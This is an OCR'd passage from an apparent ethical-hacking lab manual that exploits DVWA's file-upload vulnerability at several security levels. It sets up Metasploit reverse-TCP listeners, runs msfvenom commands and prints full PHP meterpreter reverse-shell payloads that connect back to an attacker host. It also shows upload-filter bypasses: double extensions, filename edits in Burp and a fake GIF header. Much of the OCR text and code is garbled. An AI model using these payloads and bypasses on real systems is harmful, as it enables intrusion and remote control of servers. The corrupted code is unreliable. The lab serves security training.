12. Click DVWA Security in the left pane to view the DVWA security level.
Set the security level by selecting Low from the drop down list and click
the Submit button, as shown in the screenshot:

Q @ £ | 10.10.10.12 8080/dvwa/security php B | ¢ HQ Search 8 ¥ A9 =
IMost Visitedv [fOffensive Security "\ Kall Linux "\ Kall Docs "\ Kali Tools & Explot-DB W Alrcrack-ng gifKali Forums  »

You can set the security level to low, medium, high of impossibie. The security level changes the vulnerabii

ton level of DVWA:

1 Low - This secunty level is completely viinerabie and has no security measures at all. It's use s 1o
as an examphe of how web application vulneratities manifest Ihrough bad comng practices and to se
as a platform 1o teach of leam basic exploitation techniques.

2. Medium - This setting is mainly 10 give an exampie 10 the user of bad security practices, where the
developer has tried but talled to secure an application. It aso ACts &S a ChalleNge 1O LSers 1o refing

explotation 10chniques.

3. High - This option is an extension 10 the medium dficulty, with a mixture of harder or alternative
practices Lo atlempl 10 SeCwe e code. The vulnerabity may not wliow Ihe Same exient of the
exploitation. similar in vanious Capture The Flags (CTFs) competitions.

4. Impossidle - This level should be secure against all vuinerabilities. It s used 1o compare the
SOUICE COOR 10 the SECUre SOUICe Code.

Prior to DVWA v1.9, this level was known as Tigh'.

PHPIDS
PHPIDS v0.6 (PHP-ntrusion Detection System) is a secunty layer for PHP based web applications.

PHPIDS works by fitering any user supplied input against a blacklist of potentially malicious code. It ts uses
DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and |

FIGURE 58: Setting DVWA security level
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13. Select File Upload option from the left pane and click Browse... button
to upload a file, as shown in the screenshot:

Vulnerabllity: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Develop -Mazllls Firefox @ @ ©
! B Vulnerability: File Upl.. x | +
€ 10101012 vwalvulnerabilities/upload ¢ |1Q Search 0 $ A O =

FMW Visitedv [flOffensive Security S\ Kall Linux W\ Kall Docs "\ Kali Tools = Exploit-DB WAlrcrack-ng gKall Forums — »

Home Vulnerability: File Upload

Choose an image 10 upload

Upload

More Information

FIGURE 5.9: Upload the payload file

14. File Upload window appears, select the payload file (here upload.php)

and dlick Open.
Cancel | File Upload W
O Recent ‘ 4 fXroot jmDesktop »
4 Home Name v | Size | Modified
& Desktop » upload.php 1L1kB 0L31
[ Documents
@ Downloads
J7 Music
‘0] Pictures
| AlLFiles » ﬂ
FIGURE 510: Sdect the paykad filc
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15. You can see the file has been selected for upload. Now click the Upload
button to upload the file to the database, as shown in the screenshot:

Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development® - Mozilla Firefox @ © @
B Vulnerability: File Upl.. x | +
€ @ 10101012 vwalv Lie . c A, Search e $ A0 =

FMM[ Visitedv [fOffensive Security \ Kali Unux "\ Kall Docs \ Kall Tools & Exploit-DB WAircrack-ng gifKall Forums  »

Vulnerability: File Upload

Home
Instructions Choose an image 10 upload
Setup | Reset DB

Browne
e
CSRF

More Information

FIGURE 5,11: Upload the payload file

16. You will see a message that the file has been uploaded successfully, with
the location of the file. Note the location of the file and minimize the
browser window.

Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development® - Mozilla Firefox @ © ©
[ Vulnerability: File Upl.. x | +
€ © 10101012 ¢ ] y f a0 3 A9 =

FMou Visitedv [ Offensive Security \\ Kali Linux "\ Kall Docs "\ Kali Tools & Explot-DB W Aircrack-ng gKall Forums  »

Vulnerability: File Upload

Home
Mstrioions J Choose an image 10 upload
Setup | Reset DB
Browse. No file selected
Brute Force
Uplond
CSRF = [ /hackable/uploads/upload.php succesfully _.:u.--mr]
File Inclusion ]
[ Fite Uploas ] More Information
Insecure CAPTCHA y
SQU injection | :
bj

FIGURE 5.12: Paykad file successfully uploaded
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17. Launch a Terminal window and type msfconsole. Hit Enter to run the
Metasploit Framework.

root@Kkali: ~ - O <}

File Edit View Search Terminal Help

# msfconsole
Failed to connect to the database: could not connect to server: Connection r
afused

s the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 54327

could not connect to serv Connection refused
Is the server running on host "localhost" (127.6.0.1) and accepting
TCP/IP connections on port 54327

[]’l Starting the MetaSploit Framework console.../

FIGURE 5.13: Launch Metasphoit framework

18. Now you have to set up a listener so that you can establish a meterpreter
session with your victim. Follow the steps listed below to set up a listener
using the msf command line.

A. Type use multi/handler and hit Enter.

B. Type set payload php/meterpreterireverse_tcp and hit Enter.
C. Type set lhost 10.10.10.11 and hit Enter.

D. Type set Iport 4444 and hit Enter.

E. Now to start the listener type run and hit Enter.

root@kali: ~ (- JC I )

File Edit View Search Terminal Help

To boldly go where no
shell has gone before

_[ 4
=[ 1703 exploits - 1000 auxiliary - 299 post

]
]
--=[ 503 payloads - 40 encoders - 18 nops |
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

1sf > use multi/handler
msf exploit( ) > set payload php/meterpreter/reverse tcp
yayload => php/meterpreter/reverse tcp
exploit( ) > set lhost 10.10.10.11
Lhost => 10.10.16.11
1sf exploitl ) = set lport 4444
Lport => 4444
exploit( ) > mnl

FIGURE 5.14: Setup and run a listener
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19. Now that the listener is up and running, open up the Firefox browser and in
a new tab, type the location of the wuploaded file (here
httpz//10.10.10.12:8080/dvwa/hackable/uploads/upload.php) in the address
bar and press Enter, to execute the uploaded payload.

New Tab - Mozilla Firefox [ -}
Welcome :: Damn Vul. % | New Tab x |+
0.10,10.12:8080/dvwarhackabie/upioads/upioad. phrllIRg B A OD =
I Most Visitedv  [ljOffensive Security N Kall Linux N\ Kali Docs "\ Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums »
3>

FIGURE 5.15: Open upkaded paykad fik in a web browser

20. When you switch back to the terminal window, you will see that a
meterpreter session has been established with the victim system, as shown
in the screenshot:

root@kali: ~ e @ 61

File Edit View Search Terminal Help
1sf exploit( ) > run

Started reverse TCP handler on 10.10.10.11:4444

Sending stage (37543 bytes) to 10.10.10.12

Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.12:10414) at
12-26 01:40:02 -08500

ieterpreter > l

FIGURE 5.16: Meterpreter session established

21. In the meterpreter command line, type sysinfo and hit Enter, to view the
system details of the victim. Close all windows to exit.

root@kali: ~ e 0 0

File Edit View Search Terminal Help

Started reverse TCP handler on 10.10.10.11:4444

Sending stage (37543 bytes) to 10.10.10.12

Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.12:10414) at 2017
12-26 01:40:02 -0500

neterpreter > sysinfo

Computer A‘[\\’IN-OJ}"QH) 8PAI

)S : Windows NT WIN-0JAQ7QJBPAI 6.3 build 9600 (Windows Server 2012 R2
standard Edition) AMD64

leterpreter : php/windows

H task 3
FIGURE 5.17: Get the system information
loit DVWA
S 22. Open

P a new Terminal window, type msfvenom -p

php/meterpreterreverse tcp lhost=10.10.10.11 Iport=3333 f raw and hit
Enter, to generate the raw payload.

root@kali: ~ 0 01

File Edt View Search Terminal Help
meterpreter/reverse tcp Lhost=10.16.10.11 lport 3 -f raw]

FIGURE 5.18: Generate payload
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23, Select the raw payload, right-click and copy it, as shown in the screenshot:

File Edt View Search Terminal Help

B<?php /**/ error reporting(0); $ip = '10.10.10,11'; $port = 3333; if (($f = ‘stream soc

t client') && is callable(s$f)) ( $s = $f(“tep://{$ip):{$port}”); $s type = ‘stream’; ) 1if|
(185 & ($f = 'fsockopen') && is callable($f)) { $s = $f($ip, ¢nnrri. & tuna o

} Af (188 && ($f = 'socket create') && is callable(sf)) { $s Open Terminal

DL TCP); $res = @socket connect($s, $ip, sport); if (!$res) {

} Af (1$s type) { die('no socket funcs'); } if (1$s) { die(’

) { case 'stream': $len = fread($s, 4); break; case ‘socket': Copy as HTML

reak; } if (1$len) { die(); } $a = unpack(*Nlen*, $len); $len

(strien($b) < $len) { switch ($s type) { case ‘stream': $b .= Paste trien(sd));
break; case 'socket': $b .= socket read($s, $len-strien(sb)): Profites » ALS['msgsoc
'] = $5; $GLOBALS('msgsock type'] = $s type; if (extension lo & ini get(

uhosin,executor.disable eval')) { $suhosin bypass=create func  Read-Only

(); ) else { eval(sb); } die(): 1 Show Menubar

FIGURE 5.19: Copy raw paykad

24. Open Leafpad from the taskbar and paste the payload copied in the previous
step.

*(Untitled) G-

File Edit Search Options Help
<?php /**/ error_reporting(0); $ip = "10.10.10.11"; Sport = 3333; 1if ((Sf
= ‘stream socket client') && is callable(s$f)) { $s = $f("tcp://{$ip}:
{$port}"); $s type = ‘stream'; } if (!$s && ($f = 'fsockopen') &&

is callable(sf)) { $s = $f($Sip, Sport); $s type = ‘stream’; } if (!$s &&
($f = 'socket create') && is callable(sf)) { $s = Sf(AF_INET, SOCK STREAM,
SOL_TCP); $res = @socket connect($s, $ip, s$port); if (!$Sres) { die(); }
$s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s)

{ die('no socket'); } switch ($s_type) { case 'stream’': $len = fread(ss,
4); break; case 'socket': $len = socket read($s, 4); break; } if (!$len)
{ die(); } $a = unpack("Nlen", $len); $len = $a['len’']; $b = ''; while
(strlen(sb) < $len) { switch ($s_type) { case 'stream’': $b .= fread(ss,
$len-strien(s$b)); break; case 'socket': $b .= socket read($s, s$len-strlen
($b)); break; } } SGLOBALS['msgsock'] = $s; $GLOBALS[ 'msgsock type'] =

$s type; if (extension loaded('suhosin') && ini get
("suhosin.executor.disable eval')) { $suhosin bypass=create function('',
$b); $suhosin bypass(); } else { eval(sb); } die():

FIGURE 5.20: Paste raw payload
25. Click File = Save As ... from the menu bar.
*(Untitled) -]

Edu Search Options Help

New wleN'ting(0); $ip = '10.10.10,11"; $port = 3333; if ((sf
Qpen. seo!t') && 1s _callable($f)) { $s = $f("tcp://{$ip}:

i stream'; } if (!$s && ($f = ‘fsockopen') &&

Save Cirl4S = ¢f($4ip, $port); $s type = ‘stream'; } if (!$s &&

&5 is callable($f)) { $s = $T(AF_INET, SOCK STREAM,
et _connect($s, $ip, $port); if (!Sres) { die(); }

Save As Shift+Ctri+S

Print Preylew hifteCuleP A (!'$s type) { die('no socket funcs'); } if (!$s)

Print ulep SWitch ($s type) { case 'stream': $len = fread(ss,
1t': $len = socket read($s, 4); break; } if (!$len)

Quit ul+0i("Nlen", $len); $len = $a['len’']); $b = ''; while

(strien(so) < sten) { switch ($s type) { case 'stream': $b .= fread($s,
len-strlen($b)); break; case 'socket': $b .= socket read($s, $len-strlen
$b)); break; } )} SGLOBALS['msgsock'] = $s5; $GLOBALS[ 'msgsock type'] =

$s type; if (extension loaded('suhosin') && ini get
'suhosin.executor.disable eval')) { $suhosin bypass=create function('',
b); $suhosin bypass(); } else { eval(s$b); } die();

FIGURE 5.21: Save paylboad file
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26. Save As window appears, in the Name ficld type medium.php.jpg, select the
saving location as Desktop and click Save.

Save As

Create Folder

" Sz Modfed
L1kB 01:31

FIGURE 5.22: Save paykoad fik:
27. Log-in into DVWA with admin account (tefer step 11).
Note: If you are already logged in to the admin account, skip to the next step.

28. Click DVWA Security in the left-pane and select the security level as Medium
from the drop—down list and click Submit.

[ DVWA Security :: Da... -\+
€ ) ©|10.10.10.12:8080/dvwa/security. php O ¢ || Q Search 8 3 A O =
3 Most Visitedv [fOffensive Security \ Kali Linux \ Kall Docs S\ Kali Tools & Exploit-DB WAircrack-ng fUKall Forums  »

cskE 1 Low - This security level is completely vulnerable and has no security measures at all, It u
as an example of how web application visnorabilities manifest through bad coding practices ar
as a platform to teach of learn basic exploftation techniques .

2. Medium - This setting ts mainly 10 give an exampie o the user of bad security practices, wix
developer has tried bt Tailed 10 Secure an application. It also acts as a challenge to users 10 1

exploitation techniques.,

3. High - This option Is an extension to the medium difficulty, with & mixture of harder or alterna
practices 10 attemgt 10 secure the code. The vuinerability may not aliow the same extent of tf
exploitation, similar in various Capture The Flags (CTFs) competitions,

4 Impossible - This level should be secure against all vulnerabllities. It s used to compare
SOUICH COBN 10 T SECIED SOUCH COBN
Prior 10 DVWA v1.9, this level was known as high'.

PHPIDS
PHPIDS v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

PHPIDS works by filtering any user supplied Input against a blackiist of potentially malicious code. It
DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve secusit
some cases how WAFs can be circumvented.

You can enable PHPIDS across this sfie for the duration of your session.

FIGURE 523 Sct DVWA socurity level
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29. Select File Upload option in the left-pane and then click Browse button, as
shown in the screenshot:

Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development® - Mozilla Firefox @ © @
[ Vulnerability: Fite UpL. % | +
< | @ | 10.10.10.12 8080/dvwa/vulnerabilities/uploa ¢ [1Q Search 8 3 A&
1B Most Visitedv  JfJOffensive Security S\ Kali Linux W Kali Docs "\ Kali Tools & Explot-DB8 W Alrcrack-ng giKali Forums  »

— Vulnerability: File Upload
BT | Choose an image 10 upload
Setup / Reset DB |

—

Upload

Brute Force

‘Command Injection

§—J More Information
Insecure CAPTCHA

FIGURE 5.24: Upload Payload file

30. When File Upload window appears, select medium.php.jpg file and click
Open, as shown in the screenshot:

Cancel | File Upload @ m

O Recent ‘ 4« fxroot  im Desktop »
> Home Name v | Size Modified
= medium.php.jpg 11kB 01:54
im Desktop
upload.php 11kB 01:31
[ Documents
@ Downloads
J3 Music
] Pictures
All Files =
FIGURE 525: Select payload fike
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31. Now before uploading the file you need to set up a burp suite proxy. Start by
configuring the proxy settings of the browser first. Click the Open Menu
button in the rightmost corner of the menu bar and select Preferences from
the list, as shown in the screenshot:

Vulnerabliity: File Upload - Damn Vulnerable Web Application (DVWA) v1.10 *Developments - Mozila Firefox @ © @)
L.v»wumy FleUpl. x | +
€ th 10 tab. | 10,12:806 P v 3 ||Q Sea aa&ne@
FMou Visitedv [HjOffensive Security \ Kall Linux "\ Kall Docs *\ Kali Tools g

G Paste

- 100% +

O L I

vulnerab“ity. File Upl New Window  New Private Save Page

Window

Choose an image 10 upload: Q ® &
B
Browse medium. php 1pg Print History Full Screen
Upload o
po &
Find Pu-!rrzncts Add-ons

More Information

> M.

Developer  Synced Tabs

FIGURE 5.26: Configure browser preferences

32. When Preferences tab opens, select Advanced from the left-pane and under
Network tab click Settings... button under the Connection heading, as
shown in the screenshot:

Preferences - Mozilla Firefox
[l Vulnerability: Fite Upl. x | £¥ Preferences x|+
€ . about:preferencesttadvanced ¢ ||Q Searct 0 $ A Q
B Most Visitedv [l Otfensive Security \ Kall Linux "\ Kali Docs “\ Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums

Advanced

General Data Choices Update Certificates

Connection
Configure how Firefox connects to the Internet Settings... k

Cached Web Content
Your web content cache is currently using 99.2 MB of disk space’ Clear Now

Override automatic cache management
MB of space

Offline Web Content and User Data

FIGURE 527: Change network scttings
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33. When Connection Settings window appears, select Manual proxy
configuration radio button and specify HTTP Proxy as 127.0.0.1 and Port as
8080. Then click OK.

Connection Settings x

>

Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network

Use system proxy settings

HTTP Proxy:| 127.0.0.1

[V Use this proxy server for all protocols

SSL Proxy:| 127.0.0.1 Port: 8080

ETP Proxy: 127.0.0.1 Port: 8080

Help Cancel

FIGURE 5.28: Configure browser proxy

34. Go to desktop and launch Burpsuite from the taskbatr. Burp Suite
Community Edition window appears, click | Accept.

[

Burp Suite Community Edition e e .I

Licence Agreement

Please read the following licence agreement carefully, and indicate whether you accept its terms.

Burp Suite Community Edition Licence Agreement A

This licence agreement (Licence) is a legal agreement between you (Licensee or you) and
PORTSWIGGER LTD of Victoria Court, Bexton Road. Knutsford, WA16 OPF England (Licensor or we) for
‘a suite of tools designed for web application security testers (Burp Suite Community Edition or
Software). which includes computer software, and the online documentation current at the date of the
‘download of this Licence (Documentation).

BURP SUITE COMMUNITY EDITION REQUIRES A COMPUTER WITH A MINIMUM OF 4GB OF MEMORY AND
THE OFFICIAL JAVA RUNTIME ENVIRONMENT (64-8IT EDITION. VERSION 1.7 OR LATER). BY INSTALLING
THE SOFTWARE YOU AGREE TO THE TERMS OF THIS LICENCE AND THE TERMS AND CONDITIONS OF
THE LICENSOR WHICH WILL BIND YOU AND YOUR EMPLOYEES. IF YOU DO NOT AGREE TO THE TERMS
OF THIS LICENCE AND THE TERMS AND CONDITIONS, WE ARE UNWILLING TO LICENSE THE SOFTWARE
TO YOU AND YOU MUST DISCONTINUE THE INSTALLATION PROCESS NOW. IN THIS CASE THE
INSTALLATION WILL TERMINATE. -V_

J Help improve Burp by submi y 1s feedback about its performance

o

FIGURE. 5.29: Bup suite licence agreement
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35. Select Temporary Project and click Next, as shown in the screenshot:

|2 welcome to Burp Suite Community Editon. Usa the cptions below to create or open 3 project. ‘ BL‘RPSU"'E
Nete: Oisk-based prajects are anly supported on Burp Suite Frofessona COMMUNITY EDITION
New project on disk Flle Thoass fie.
Open existing projes | e— TFie
P Choozs foe
(o) ]
FIGURE 53(: Create burp suite project
36. Select Use Burp defaults radio-button and click Start Burp, as shown in the
screenshot:

F Burp Sulte Communty Edition v1.7.30 CXCIO)|

e k2 BURPSUITE

Use options suved with project

 Load from configuration fite oe ]

(J Detaut to the above in future
() Orsable extenssons

(st (e EEER)

FIGURE 5.31: Burp suite configumtion

37. To check if the intercept is on, click Proxy tab and sclect the Intercept sub-
tab. You will see a button saying Intercept is on. Turn intercept on if it is off.

FIGURE 532 Check intercept is on
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38. Switch back to the browser window and dlick Upload button to upload the
payload file.

Vilnerability: File Upload - Damn Valnerable Web Application (DVWA) v1 10 *Development® -

[ Vulnerability: File Upl.. x | $¥ Preferences x +
€ © 10.10.10.12808 ¢ |1Q Search B8 3 A& =
Most Visitedw [f§Offensive Security "\ Kali Linux "\ Kall Docs "\ Kali Tools = Exploit-DB WAircrack-ng gifKali Forums ~ »

Mozilla Firefox @

Vulnerability: File Upload

Choose an image 1o upload

Browse. medum . phg pg

More Information

FIGURE 53% Upload payload file

39. When you switch back to the Burpsuite window, you will see that the request
has been captured and displayed in the raw format. In the filename field, you
will see the name of the file to be uploaded as medium.php.jpg.

Burp Sulte Community Edition vA.7.30 - Temporary Project rrﬂ
4

spuder | scanner | inruder | Repester | seavencer | Decoder | Comparer | Extender | Promct optoms | user optens | Alerts |

Burp Intruder Mepeater Window Melp

WITP histary | Websockets history | Options |

(‘-«nunwumlonnm
m— oeo | [FRRGRRNERD | Acven

\
=
&

g P st [

51 /Ovea/velnerabilities/uplond/ W1TP/1. 3
s

. 52.0) Co
application/asl

“iaed

vestst 1
art/form data; beundarys 191545941 19613710 71700457008

¥ i»
ntent<Length; 1579

1561545941161 271971 710457908
ntent-Daspositions form-data; names"WAX_FILE_ST2C°

1SEISASSANINEIITINTITIMSINGS

veg

FIGURE 5.34: Upload request captured in burpsuite
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40. Edit the filename to medium.php and click the Forward button to forward

1 0,12
Jer-Age A110/8.8 (11 Linue 96,64: rvi52.0) Gecko/20100101 Firefon/s2.0
spplication/ahtaleal application/anl qe0. 9, ¢/%1a%0.
14=0.8

bl lities/uplond,
A 1} 1801007
joanection: ¢
jporade- Insecure-Requests: 1
Batent - Type: Sultipart/form data; Boundarye o orisisrssiismnssassisnss 1561545541 1961072971 7108457918

jestent Length: 1579

SE1SASM1196137197171845791%
nasesWAX_FILE_ST2E"

1561545 B411961371971718457918
ta; nases"uplosded™: filensmes

fontent -Dispositior
jeatent -Type: inage/jseq

Pohp /447 error_reportingl®): $1p = “10.30.20.11°: Sport = 1333; af (($f = “streem_sochet client’) &4 as_callablelsf)) ( 83 »
117t u(lu) Tsport)*): ype = ‘stress it $5_type =
¢

annect(ts,
chet p X 1 ) swites
1 Breaks ¥ - 500 odiss. 4): bresks ) if (15len) { .
*i while (strientsb) < slen) { switch (8s_type) ( cas :8h e fresdlss
{8 e vochet_cesdise. Slen-strien(sh)): bee S RE
e suhasin’) 64 1ni_get{'subosin.evecutor.disable_eval')) (
3 ) else ( eval(38): ) die():
«
Trpe & sescch tarm S

FIGURE 5.35: Edit the captured request and forward

41. Now turn the intercept off by clicking on the Intercept is on button once
mote. The button now says Intercept is off, as shown in the screenshot.

FIGURE 536: Turn intercept off

42. If you switch back to the browser window, you will see a message that the file
has been uploaded and it will also mention the location of the file. Note down
this location.
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43, Remove the browser proxy set up in step 33,

Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development® - Mozilla Firefox @ @
B Vulnerability: File Upl. x | +
€ ©101010.12 e ¢ & O

i Most Visitedv [l Offensive Security S\ Kali Linux S Kali Docs %\ Kali Tools = Exploit-DB Wy Aircrack-ng gl Kall Forums »

p— Vulnerability: File Upload

Instructions.
Setup / Reset DB

Choose an image 1o upload

Browse No file selected
Brute Force
Command Injection

Upload

Filo Inclusion
More Information

Insecure CAPTCHA .

SQL Injection x

SQL Injection (Blind) e
L s ssss——.

44. Launch a Terminal window and type msfconsole. Hit Enter to run the
Metasploit Framework.

root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# msfconsole
Failed to connect to the database: could not connect to server: Connection r
"f?l‘:l’d
Is the server running on host "localhost" ( ) and accepting
TCP/IP connections on port 54327
could not connect to server: Connection refused
Is the server run g on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 54327

[]‘] Starting the MetaSploit Framework console.../

FIGURE 538: Launch Metaspoit framework
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45. Now you have to set up a listener so that you can establish a meterpreter
session with your victim. Follow the following steps to set up a listener
using the msf command line.

A.

B.

C.
D.

Type use multi/handler and hit Enter.

Type set payload php/meterpreterireverse_tcp and hit Enter.
Type set Ihost 10.10.10.11 and hit Enter.

Type set Iport 3333 and hit Enter.

Now to start the listener type run and hit Enter.

File Edit View Search Terminal Help

! )

[ 1783 expl E 1000 auxiliary ]
]

1

expl > (s
host => 10.10.10.11
S oit(

sf exploit(

root@kali: ~ S e O

7.co/trymsp

) >[set lport 3333

> [runll

FIGURE 539: Setup and start a istener

46. Now that the listener is up and running, open up the Firefox browser and in

a

new tab type the location of the wuploaded file (here

httpz/10.10.10.12:8080/dvwa/hackable/uploads/medium.php) in  the
address bar and press Enter to execute the uploaded payload.

New Tab - Mozilla Firefox 00
B Vulnerabilty: Fite Upl. x | New Tab x |+
(0. 10.10.12:8080/dvwa/hackable/uploads/medum phol RIS *Ee A9 =

i Most Visitedv  JfjOffensive Security "\ Kall Linux “\ Kali Docs "\ Kall Tools & Exploit-DB W Aircrack-ng g Kali Forums

0

FIGURE 5.40: Browse the uploaded payload fik:
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47. When you switch back to the terminal window, you will see that a
meterpreter session has been established with the victim system, as shown
in the screenshot:

root@Kkali: ~ e 0 ﬂ

File Edit View Search Terminal Help

nsf exploit( ) > run

*] Started reverse TCP handler on 10.10.10.11:3333
Sending s 3 ) to 10.10.10.12

. P d (10.10.16.11:3333 -> 10.10.10.12:10506) at 2017-12-2

0:21 -0500

eterpr:

FIGURE 541: Meterpreter session established

48. In the meterpreter command line, type sysinfo and hit Enter to view the
system details of the victim. Close all windows to exit.

EH task a4

Exploit DVWA
High

root@kali: ~ 0o QW

File Edit View Search Terminal Help

omputer
NT WIN-0JAQ7QJ8PAI 6.3 build 9680 (windows Server 2012
n) AMD64
preter : php/windows
r>

FIGURE 542: View the system info

49. Close all previously opened terminal windows and open a new Terminal
window, type msfvenom L) php/meterpreter/reverse_tcp
Thost=10.10.10.11 Iport=2222 f raw and hit Enter to generate the raw
payload.

File Edit View Search Terminal Help
:-# msfvenom -p php/meterpreter/reverse tcp lhost=16.10.10.11 lport=2222 -f rawf]

root@Kkali: ~ (- JC) 0‘|

FIGURE 5.43: Generate the paykoad
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50. Select the raw payload, right-click and copy it, as shown in the
screenshot:

fle Edit View Search Terminal Help

g<?php /**/ error reporting(®); $ip '10.10.10.11'; $port = 2222; if (($f = ‘stream soc
t client') && is callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s type = 'stream';

(1%s && ($f = 'fsockopen') && is callable($f)) { $s 2 ‘Y $s _type =

} if (18s & ($f = ‘socket create') && is_callable( _ Open Terminal INET, SOCK STREAM,
DL TCP); $res = @socket connect($s, $ip, $port); if $s _type = 'socket’;
} if (18s type) { die('no socket funcs'); } if (!$ ‘); )} switch ($s typ
) { case ‘stream’': $len = fread($s, 4); break; case CopyasHTML socket read($s,
preak; } if (1$len) { die(); } $a = unpack("Nlen*, $§ Paste len']; $b = '*; whil
(strlen($b) < $len) { switch ($s type) { case ‘'stre $s, $len-strlen($b));
break; case 'socket': $b .= socket read($s, $len-st Profiles » } } $GLOBALS[ 'msgsoc
‘] = $s; $GLOBALS['msgsock type'] = $s type; if (ex uhosin') && ini get(
uhosin.executor.disable eval')) { $suhosin bypass=c | Read-Only , $b); $suhosin bypas|
(); } else { eval(sb); } die();

Show Menubar

FIGURE 544: Copy the raw payload generated

51. Open Leafpad from the taskbar and paste the payload copied in the previous
step.

*{(Untitled) (- - )

File Edit Search Options Help

<?php /**/ error_reporting(0); $ip = '10.10.10.11"; Sport = 2222; if ((sf
= 'stream _socket client') && is_callable(sf)) { $s = sf("tcp://{$ip}:
{$port}”); $s _type = ‘stream’; } if (!$s && ($f = 'fsockopen') &&

is callable(sf)) { ss = sf(sip, sport); $s type = 'stream’; } if (!Ss &&
($T = 'socket create') && is_callable(sf)) { $s = $f(AF_INET, SOCK STREAM,
SOL TCP); $res = @socket connect($s, $ip, Sport); if (!sres) { die(); }

$s type = 'socket'; } if (!ss_type) { die('no socket funcs'); } if (!Ss)

{ die('no socket'); } switch ($s _type) { case 'stream': $len = fread($s,
4); break; case ‘'socket': $len = socket read($s, 4); break; } if (!Slen)

{ die(); } $a = unpack("Nlen", slen); $len = sa['len']; $b = ''; while
(strlien(sb) < $len) { switch ($s_type) { case 'stream': $b .= fread(ss,
$len-strlen($b)); break; case 'socket’': $b .= socket read($s, $len-strlen
(sb)); break; } } SGLOBALS['msgsock'] = $s; SGLOBALS['msgsock type'] =
$s type; if (extension loaded('suhosin’) && ini get
('suhosin.executor.disable eval')) { $suhosin bypass=create function('’,
$b); $suhosin bypass(); } else { eval(sb); } die();|

FIGURE 545 Paste the taw payload
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52. Edit the file by adding GIF98 at the start, as shown in the screenshot:

*(Untitled)

e Edit Search Options Help

?php /**/ error_reporting(®); $ip = '10.10.10.11'; s$port = 2222; if ((sf
‘stream socket client') && is _callable(sf)) { $s = $f("tcp://{%ip}:
sport}"); $s type = 'stream'; } if (!$s && ($f = 'fsockopen') &&
s callable($f)) { $s = $f($ip, $port); $s type = 'stream'; } if (!$s &&
$f = 'socket create') && is callable(sf)) { $s = $T(AF_INET, SOCK STREAM,
OL_TCP); sres = @socket connect($s, $ip, $port); if (!sres) { die(); }
s type = 'socket'; } if (!$s type) { die(’'no socket funcs'); } if (!$s)
die('no socket'); } switch ($s_type) { case 'stream': slen = fread($s,
); break; case 'socket': $len = socket read($s, 4); break; } if (!$len)
die(); } $a = unpack("Nlen", $len); slen = sa['len']; $b = ''; while
strien($b) < $len) { switch ($s_type) { case 'stream': $b .= fread(ss,
len-strlen($b)); break; case 'socket': $b .= socket read($s, $len-strlen
$b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock type'] =
s type; if (extension loaded('suhosin') && ini get
suh051n executor dlsable eval )) { 35uh051n bypass=create function('',

TRV

FIGURE 5.46: Edit the payload fik
53. Click File = Save As ... from the menu bat.
*(Untitied)

New cei+NIrting(0); $ip = '10.10.10.11'; $port = 2222; if ((sf
1t') & is callable($f)) { $s = $f("tcp://{$ip}:
stream'; } if (!$s && ($f = 'fsockopen') &&
Save Ctl+S = ¢f($ip, $port); $s type = 'stream'; } if ('$s &&
&& is_callable(sf)) { $s = $T(AF_INET, SOCK_STREAM,
et connect(ss, $ip, sport); if (!Sres) { die(); }
Print Preview Shift+Cirl+P 1if (!$s type) { die('no socket funcs ); } if (!$s)
Print... cirl+p SWitch ($s_type) { case 'stream': slen = fread(ss,
= it': $len = socket read($s, 4); break; } if (!$len)
Quit Cri+Qi("Nlen", $len); Slen = $a['len']; $b = ''; while
strien(sp) < sten) { switch ($s type) { case 'stream': $b .= fread(ss,
len-strien($b)); break; case ‘socket': $b .= socket read($s, $len-strlen
$b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock type'] =
s type; if (extension loaded('suhosin') && ini get
'suhosin.executor.disable eval')) { $suhosin_bypass=create_ function('',
b); $suhosin bypass(); } else { eval(sb); } die();

Open... Ctri+O

FIGURE 547: Save the payload file
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54. When Save As window appears, type high.jpeg in the Name field, select the
saving location as Desktop and click Save.

Save As

: [vsniped

S = e

Q Search B medium.php.jpg 11kB 01:54
© Recently Used |18 uploadphp L1kB 0131
| [ root

@) File System
| Floppy Disk
+ x

FIGURE 548 Save the payload fike
55. Log-in into DVWA with admin account (refer step 11).

56. Click DVWA Security in the left-pane and select the security level as High
from the drop-down list and click Submit.

DVWA Security - Damn Vulnerable Web Application (DVWA)

€ ©|10.10.10,12:8080/dvwalsecurtty.php B | ¢ ||Q search fEe ¢ A O =
Most Vistedv [fOffensive Security \ Kali Linux "\ Kali Docs W\ Kali Tools = Exploit-DB W Alrcrack-ng fUKali Forums.

VA A L R AT T TR I R ST S YA T YT SUUH Y T YA RN W T

level of

1. Low - This security level is completety vidnerable and has no security measures at all, it's use i
as an example of how web appiication vuinerabities manifest thiough bad coding practices and i
& @ piationm 1o teach of keam basic exploltation techniques

2. Medwm - This setting Is mainly 10 give an example 10 the user of bad security practices, where |
Oeveloper has tried DIt talled to secure an application. It also acts as a challenge to users to refin

IIM IKI'“.I
3. High - This option Is an extension 10 the mediam dnculty, with a mixture of harder or
practices 1o attempt to secure the code. The may not allow the same extent of the

vignerability
simitar in vanous Capture The Flags (CTFs) competitions.
4 Impossible - This level should be secure against all vulnerabllities. It Is used Lo compare the
SOUICE CO0E 10 the SECIFE SOUICE CO0e,
Prior 10 DVWA v1.9, this level was known as Tigh'.

PHPIDS
